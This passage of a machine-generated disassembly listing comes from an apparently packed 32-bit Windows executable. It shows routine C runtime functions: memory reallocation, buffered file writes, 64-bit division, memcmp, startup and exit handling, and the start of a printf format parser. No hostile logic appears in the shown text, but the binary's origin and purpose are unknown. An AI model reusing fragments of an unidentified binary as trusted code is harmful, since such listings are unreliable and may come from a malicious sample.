		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h

loc_417570:				; CODE XREF: sub_4174DF+66j
		test	edi, edi
		jnz	loc_4175F8

loc_417578:				; CODE XREF: sub_4174DF+53j
					; sub_4174DF+73j
		test	esi, esi
		jnz	short loc_41757F
		push	1
		pop	esi

loc_41757F:				; CODE XREF: sub_4174DF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB20
		call	dword_42114C
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175DB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4175A4
		mov	eax, esi

loc_4175A4:				; CODE XREF: sub_4174DF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h
		jmp	short loc_4175D7
; ---------------------------------------------------------------------------

loc_4175B8:				; CODE XREF: sub_4174DF+47j
		test	esi, esi
		jnz	short loc_4175BF
		push	1
		pop	esi

loc_4175BF:				; CODE XREF: sub_4174DF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_46AB20
		call	dword_421160
		mov	edi, eax

loc_4175D7:				; CODE XREF: sub_4174DF+D7j
		test	edi, edi
		jnz	short loc_4175F8

loc_4175DB:				; CODE XREF: sub_4174DF+36j
					; sub_4174DF+B9j
		cmp	dword_469514, 0
		jz	short loc_4175F8
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	loc_417510
		jmp	loc_417509
; ---------------------------------------------------------------------------

loc_4175F8:				; CODE XREF: sub_4174DF+93j
					; sub_4174DF+FAj ...
		mov	eax, edi

loc_4175FA:				; CODE XREF: sub_4174DF+16j
					; sub_4174DF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175FF	proc near		; CODE XREF: sub_40BAB4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417623
		xor	eax, eax
		jmp	loc_4176F0
; ---------------------------------------------------------------------------

loc_417623:				; CODE XREF: sub_4175FF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417636
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41763D
; ---------------------------------------------------------------------------

loc_417636:				; CODE XREF: sub_4175FF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41763D:				; CODE XREF: sub_4175FF+35j
					; sub_4175FF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417671
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417671
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417657
		mov	edi, eax

loc_417657:				; CODE XREF: sub_4175FF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4155D0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176B7
; ---------------------------------------------------------------------------

loc_417671:				; CODE XREF: sub_4175FF+47j
					; sub_4175FF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176BC
		test	ecx, ecx
		jz	short loc_417685
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176FE

loc_417685:				; CODE XREF: sub_4175FF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_417698
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41769A
; ---------------------------------------------------------------------------

loc_417698:				; CODE XREF: sub_4175FF+8Aj
		mov	edi, ebx

loc_41769A:				; CODE XREF: sub_4175FF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176F5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176F5

loc_4176B7:				; CODE XREF: sub_4175FF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4176E5
; ---------------------------------------------------------------------------

loc_4176BC:				; CODE XREF: sub_4175FF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C37
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176FE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4176E5
		mov	[ebp+arg_C], 1

loc_4176E5:				; CODE XREF: sub_4175FF+BBj
					; sub_4175FF+DDj
		test	ebx, ebx
		jnz	loc_41763D
		mov	eax, [ebp+arg_8]

loc_4176F0:				; CODE XREF: sub_4175FF+1Fj
					; sub_4175FF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4176F5:				; CODE XREF: sub_4175FF+ADj
					; sub_4175FF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417700
; ---------------------------------------------------------------------------

loc_4176FE:				; CODE XREF: sub_4175FF+84j
					; sub_4175FF+CFj
		mov	eax, edi

loc_417700:				; CODE XREF: sub_4175FF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4176F0
sub_4175FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417709	proc near		; CODE XREF: sub_40C1FE+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_421094
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417729
		call	dword_421088
		push	eax
		call	sub_41C5D7
		pop	ecx

loc_417725:				; CODE XREF: sub_417709+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_417729:				; CODE XREF: sub_417709+Dj
		test	al, 1
		jz	short loc_41774A
		test	[esp+arg_4], 2
		jz	short loc_41774A
		mov	dword_4694B4, 0Dh
		mov	dword_4694B8, 5
		jmp	short loc_417725
; ---------------------------------------------------------------------------

loc_41774A:				; CODE XREF: sub_417709+22j
					; sub_417709+29j
		xor	eax, eax
		retn
sub_417709	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_40C328+5Fp
					; sub_40C328+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417771
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_417771:				; CODE XREF: sub_417750+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41778D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41778D:				; CODE XREF: sub_417750+27j
		or	eax, eax
		jnz	short loc_4177A9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177EA
; ---------------------------------------------------------------------------

loc_4177A9:				; CODE XREF: sub_417750+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4177B7:				; CODE XREF: sub_417750+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177B7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177E5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177E5
		jb	short loc_4177E6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177E6

loc_4177E5:				; CODE XREF: sub_417750+85j
					; sub_417750+8Bj
		dec	esi

loc_4177E6:				; CODE XREF: sub_417750+8Dj
					; sub_417750+93j
		xor	edx, edx
		mov	eax, esi

loc_4177EA:				; CODE XREF: sub_417750+57j
		dec	edi
		jnz	short loc_4177F4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4177F4:				; CODE XREF: sub_417750+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417750	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177FA	proc near		; CODE XREF: .nsp0:00417B8Bp
		mov	eax, off_437D5C
		test	eax, eax
		jz	short loc_417805
		call	eax ; sub_415F3B

loc_417805:				; CODE XREF: sub_4177FA+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178E2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178E2
		add	esp, 10h
		retn
sub_4177FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417827	proc near		; CODE XREF: .nsp0:00417BCAp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417827	endp


; =============== S U B	R O U T	I N E =======================================



sub_417838	proc near		; CODE XREF: .nsp0:00417BE9p
					; sub_417BEE+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417838	endp


; =============== S U B	R O U T	I N E =======================================



sub_417849	proc near		; CODE XREF: sub_417827+8p
					; sub_417838+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4694FC, edi
		jnz	short loc_417866
		push	[esp+4+arg_0]
		call	dword_421104
		push	eax
		call	dword_421140

loc_417866:				; CODE XREF: sub_417849+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4694F8, edi
		mov	byte_4694F4, bl
		jnz	short loc_4178BA
		mov	eax, dword_46AB34
		test	eax, eax
		jz	short loc_4178A9
		mov	ecx, dword_46AB30
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178A8

loc_417895:				; CODE XREF: sub_417849+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41789D
		call	eax

loc_41789D:				; CODE XREF: sub_417849+50j
		sub	esi, 4
		cmp	esi, dword_46AB34
		jnb	short loc_417895

loc_4178A8:				; CODE XREF: sub_417849+4Aj
		pop	esi

loc_4178A9:				; CODE XREF: sub_417849+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178E2
		pop	ecx
		pop	ecx

loc_4178BA:				; CODE XREF: sub_417849+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178E2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178E0
		push	[esp+4+arg_0]
		mov	dword_4694FC, edi
		call	dword_421114

loc_4178E0:				; CODE XREF: sub_417849+85j
		pop	edi
		retn
sub_417849	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178E2	proc near		; CODE XREF: sub_4177FA+15p
					; sub_4177FA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_4178E7:				; CODE XREF: sub_4178E2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178FA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178F5
		call	eax

loc_4178F5:				; CODE XREF: sub_4178E2+Fj
		add	esi, 4
		jmp	short loc_4178E7
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_4178E2+9j
		pop	esi
		retn
sub_4178E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178FC	proc near		; CODE XREF: sub_40CE55+2AAAp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_421118
		test	eax, eax
		jnz	short loc_417912
		call	dword_421088
		jmp	short loc_417914
; ---------------------------------------------------------------------------

loc_417912:				; CODE XREF: sub_4178FC+Cj
		xor	eax, eax

loc_417914:				; CODE XREF: sub_4178FC+14j
		test	eax, eax
		jz	short loc_417923
		push	eax
		call	sub_41C5D7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_417923:				; CODE XREF: sub_4178FC+1Aj
		xor	eax, eax
		retn
sub_4178FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_412B60+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41797C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41797D
		test	eax, 1
		jz	short loc_41795D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_4179AA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41797A

loc_41795D:				; CODE XREF: sub_417930+20j
					; sub_417930+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_4179AA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_4179AA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41795D

loc_41797A:				; CODE XREF: sub_417930+2Bj
					; sub_417930+84j
		pop	edi
		pop	esi

locret_41797C:				; CODE XREF: sub_417930+6j
		retn
; ---------------------------------------------------------------------------

loc_41797D:				; CODE XREF: sub_417930+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_4179B2
		repe cmpsd
		jz	short loc_4179B2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh
		jnz	short loc_4179A5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_4179A5
		cmp	ch, dh

loc_4179A5:				; CODE XREF: sub_417930+63j
					; sub_417930+67j ...
		mov	eax, 0

loc_4179AA:				; CODE XREF: sub_417930+26j
					; sub_417930+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4179B2:				; CODE XREF: sub_417930+55j
					; sub_417930+59j
		test	eax, eax
		jz	short loc_41797A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		cmp	dh, ch
		jnz	short loc_4179A5
		dec	eax
		jz	short loc_4179D9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_4179A5
		dec	eax

loc_4179D9:				; CODE XREF: sub_417930+8Fj
					; sub_417930+96j
		pop	edi
		pop	esi
		retn
sub_417930	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179DC	proc near		; CODE XREF: sub_413CA9+55p
					; sub_4146BA+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179F3

loc_4179E9:				; CODE XREF: sub_4179DC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179E9

loc_4179F3:				; CODE XREF: sub_4179DC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179F9	proc near		; CODE XREF: sub_413CA9+19p
					; sub_413CA9+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AC6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AF3
		cmp	dword_469548, esi
		jnz	short loc_417A4A
		cmp	edi, esi
		jbe	loc_417AF3

loc_417A29:				; CODE XREF: sub_4179F9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AF3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A29
		jmp	loc_417AF3
; ---------------------------------------------------------------------------

loc_417A4A:				; CODE XREF: sub_4179F9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_469558
		call	esi
		test	eax, eax
		jnz	loc_417AF2
		call	dword_421088
		cmp	eax, 7Ah
		jz	short loc_417A84

loc_417A75:				; CODE XREF: sub_4179F9+CBj
					; sub_4179F9+F7j
		mov	dword_4694B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------

loc_417A84:				; CODE XREF: sub_4179F9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_417A8C:				; CODE XREF: sub_4179F9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417AAE
		mov	edx, off_437D90
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417AA3
		inc	eax

loc_417AA3:				; CODE XREF: sub_4179F9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A8C

loc_417AAE:				; CODE XREF: sub_4179F9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_469558
		call	esi
		test	eax, eax
		jnz	short loc_417AF3
		jmp	short loc_417A75
; ---------------------------------------------------------------------------

loc_417AC6:				; CODE XREF: sub_4179F9+Fj
		cmp	dword_469548, esi
		jnz	short loc_417AD9
		push	[ebp+arg_4]
		call	sub_415CF0
		pop	ecx
		jmp	short loc_417AF3
; ---------------------------------------------------------------------------

loc_417AD9:				; CODE XREF: sub_4179F9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_469558
		call	dword_421064
		cmp	eax, esi
		jz	short loc_417A75

loc_417AF2:				; CODE XREF: sub_4179F9+6Bj
		dec	eax

loc_417AF3:				; CODE XREF: sub_4179F9+1Aj
					; sub_4179F9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179F9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_42116C
		xor	edx, edx
		mov	dl, ah
		mov	dword_4694CC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4694C8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4694C4, ecx
		shr	eax, 10h
		mov	dword_4694C0, eax
		xor	esi, esi
		push	esi
		call	sub_418A83
		pop	ecx
		test	eax, eax
		jnz	short loc_417B64
		push	1Ch
		call	sub_417C13
		pop	ecx

loc_417B64:				; CODE XREF: .nsp0:00417B5Aj
		mov	[ebp-4], esi
		call	sub_41CC52
		call	dword_421168
		mov	dword_46AB24, eax
		call	sub_41CB20
		mov	dword_469500, eax
		call	sub_41C8D3
		call	sub_41C81A
		call	sub_4177FA
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_421164
		call	sub_41C7C2
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_417BB1
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_417BB4
; ---------------------------------------------------------------------------

loc_417BB1:				; CODE XREF: .nsp0:00417BA9j
		push	0Ah
		pop	eax

loc_417BB4:				; CODE XREF: .nsp0:00417BAFj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_4210C8
		push	eax
		call	sub_40C682
		mov	[ebp-60h], eax
		push	eax
		call	sub_417827
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41C63E
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417838

; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_416852+16p
					; sub_41C81A+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_469508, 1
		jnz	short loc_417BFC
		call	sub_41CEE0

loc_417BFC:				; CODE XREF: sub_417BEE+7j
		push	[esp+arg_0]
		call	sub_41CF19
		push	0FFh
		call	off_437D80
		pop	ecx
		pop	ecx
		retn
sub_417BEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C13	proc near		; CODE XREF: .nsp0:00417B5Ep

arg_0		= dword	ptr  4

		cmp	dword_469508, 1
		jnz	short loc_417C21
		call	sub_41CEE0

loc_417C21:				; CODE XREF: sub_417C13+7j
		push	[esp+arg_0]
		call	sub_41CF19
		pop	ecx
		push	0FFh
		call	dword_421114
		retn
sub_417C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C37	proc near		; CODE XREF: sub_4154E7+46p
					; sub_415A6A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D40
		test	al, 40h
		jnz	loc_417D40
		test	al, 1
		jz	short loc_417C6F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D40
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_417C6F:				; CODE XREF: sub_417C37+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417CA9
		cmp	esi, offset dword_4384A8
		jz	short loc_417C97
		cmp	esi, offset dword_4384C8
		jnz	short loc_417CA2

loc_417C97:				; CODE XREF: sub_417C37+56j
		push	ebx
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jnz	short loc_417CA9

loc_417CA2:				; CODE XREF: sub_417C37+5Ej
		push	esi
		call	sub_41D06C
		pop	ecx

loc_417CA9:				; CODE XREF: sub_417C37+4Ej
					; sub_417C37+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417D16
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CD9
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417D0C
; ---------------------------------------------------------------------------

loc_417CD9:				; CODE XREF: sub_417C37+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CF4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46A7E0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CF9
; ---------------------------------------------------------------------------

loc_417CF4:				; CODE XREF: sub_417C37+A5j
		mov	eax, offset dword_4383F0

loc_417CF9:				; CODE XREF: sub_417C37+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417D0C
		push	2
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch

loc_417D0C:				; CODE XREF: sub_417C37+A0j
					; sub_417C37+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D2A
; ---------------------------------------------------------------------------

loc_417D16:				; CODE XREF: sub_417C37+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C42A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_417D2A:				; CODE XREF: sub_417C37+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D36
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D45
; ---------------------------------------------------------------------------

loc_417D36:				; CODE XREF: sub_417C37+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D48
; ---------------------------------------------------------------------------

loc_417D40:				; CODE XREF: sub_417C37+10j
					; sub_417C37+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_417D45:				; CODE XREF: sub_417C37+FDj
		or	eax, 0FFFFFFFFh

loc_417D48:				; CODE XREF: sub_417C37+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D4C	proc near		; CODE XREF: sub_4154E7+29p
					; sub_415A6A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418465
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D80
; ---------------------------------------------------------------------------

loc_417D78:				; CODE XREF: sub_417D4C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_417D80:				; CODE XREF: sub_417D4C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418465
		cmp	bl, 20h
		jl	short loc_417DA1
		cmp	bl, 78h
		jg	short loc_417DA1
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417DA3
; ---------------------------------------------------------------------------

loc_417DA1:				; CODE XREF: sub_417D4C+40j
					; sub_417D4C+45j
		xor	eax, eax

loc_417DA3:				; CODE XREF: sub_417D4C+53j
		movsx	eax, byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418454	; default
		jmp	off_41846D[eax*4] ; switch jump

loc_417DC1:				; DATA XREF: .nsp0:off_41846Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417DDC:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 2
		sub	eax, 20h
		jz	short loc_417E1F
		sub	eax, 3
		jz	short loc_417E16
		sub	eax, 8
		jz	short loc_417E0D
		dec	eax
		dec	eax
		jz	short loc_417E04
		sub	eax, 3
		jnz	loc_418454	; default
		or	[ebp+var_4], 8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E04:				; CODE XREF: sub_417D4C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E0D:				; CODE XREF: sub_417D4C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

